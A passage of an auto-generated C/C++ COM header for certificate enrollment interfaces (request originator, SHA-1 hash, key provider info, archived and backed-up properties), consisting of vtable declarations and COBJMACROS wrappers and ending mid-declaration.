[in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ __RPC__in BSTR strRequestOriginator);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromLocalRequestOriginator )( \n            __RPC__in ICertPropertyRequestOriginator * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestOriginator )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyRequestOriginatorVtbl;\n\n    interface ICertPropertyRequestOriginator\n    {\n        CONST_VTBL struct ICertPropertyRequestOriginatorVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyRequestOriginator_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyRequestOriginator_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyRequestOriginator_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyRequestOriginator_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyRequestOriginator_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyRequestOriginator_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyRequestOriginator_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyRequestOriginator_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRequestOriginator_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyRequestOriginator_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyRequestOriginator_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyRequestOriginator_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyRequestOriginator_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRequestOriginator_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyRequestOriginator_Initialize(This,strRequestOriginator)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strRequestOriginator) ) \n\n#define ICertPropertyRequestOriginator_InitializeFromLocalRequestOriginator(This)\t\\\n    ( (This)->lpVtbl -> InitializeFromLocalRequestOriginator(This) ) \n\n#define ICertPropertyRequestOriginator_get_RequestOriginator(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestOriginator(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyRequestOriginator_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertySHA1Hash_INTERFACE_DEFINED__\n#define __ICertPropertySHA1Hash_INTERFACE_DEFINED__\n\n/* interface ICertPropertySHA1Hash */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertySHA1Hash;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab334-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertySHA1Hash : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SHA1Hash( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertySHA1HashVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertySHA1Hash * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertySHA1Hash * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertySHA1Hash * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SHA1Hash )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertySHA1HashVtbl;\n\n    interface ICertPropertySHA1Hash\n    {\n        CONST_VTBL struct ICertPropertySHA1HashVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertySHA1Hash_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertySHA1Hash_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertySHA1Hash_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertySHA1Hash_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertySHA1Hash_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertySHA1Hash_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertySHA1Hash_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertySHA1Hash_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertySHA1Hash_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertySHA1Hash_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertySHA1Hash_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertySHA1Hash_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertySHA1Hash_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertySHA1Hash_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertySHA1Hash_Initialize(This,Encoding,strRenewalValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strRenewalValue) ) \n\n#define ICertPropertySHA1Hash_get_SHA1Hash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SHA1Hash(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertySHA1Hash_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyKeyProvInfo_INTERFACE_DEFINED__\n#define __ICertPropertyKeyProvInfo_INTERFACE_DEFINED__\n\n/* interface ICertPropertyKeyProvInfo */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyKeyProvInfo;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab336-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyKeyProvInfo : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IX509PrivateKey *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PrivateKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyKeyProvInfoVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyKeyProvInfo * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyKeyProvInfo * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyKeyProvInfo * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        END_INTERFACE\n    } ICertPropertyKeyProvInfoVtbl;\n\n    interface ICertPropertyKeyProvInfo\n    {\n        CONST_VTBL struct ICertPropertyKeyProvInfoVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyKeyProvInfo_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyKeyProvInfo_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyKeyProvInfo_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyKeyProvInfo_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyKeyProvInfo_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyKeyProvInfo_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyKeyProvInfo_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyKeyProvInfo_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyKeyProvInfo_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyKeyProvInfo_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyKeyProvInfo_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyKeyProvInfo_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyKeyProvInfo_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyKeyProvInfo_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyKeyProvInfo_Initialize(This,pValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pValue) ) \n\n#define ICertPropertyKeyProvInfo_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyKeyProvInfo_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchived_INTERFACE_DEFINED__\n#define __ICertPropertyArchived_INTERFACE_DEFINED__\n\n/* interface ICertPropertyArchived */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyArchived;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab337-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyArchived : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ VARIANT_BOOL ArchivedValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Archived( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyArchivedVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyArchived * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyArchived * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyArchived * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL ArchivedValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Archived )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyArchivedVtbl;\n\n    interface ICertPropertyArchived\n    {\n        CONST_VTBL struct ICertPropertyArchivedVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyArchived_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyArchived_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyArchived_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyArchived_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyArchived_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyArchived_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyArchived_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyArchived_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchived_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyArchived_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyArchived_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyArchived_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyArchived_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchived_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyArchived_Initialize(This,ArchivedValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,ArchivedValue) ) \n\n#define ICertPropertyArchived_get_Archived(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Archived(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyArchived_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyBackedUp_INTERFACE_DEFINED__\n#define __ICertPropertyBackedUp_INTERFACE_DEFINED__\n\n/* interface ICertPropertyBackedUp */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyBackedUp;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab338-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyBackedUp : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCurrentTime( \n            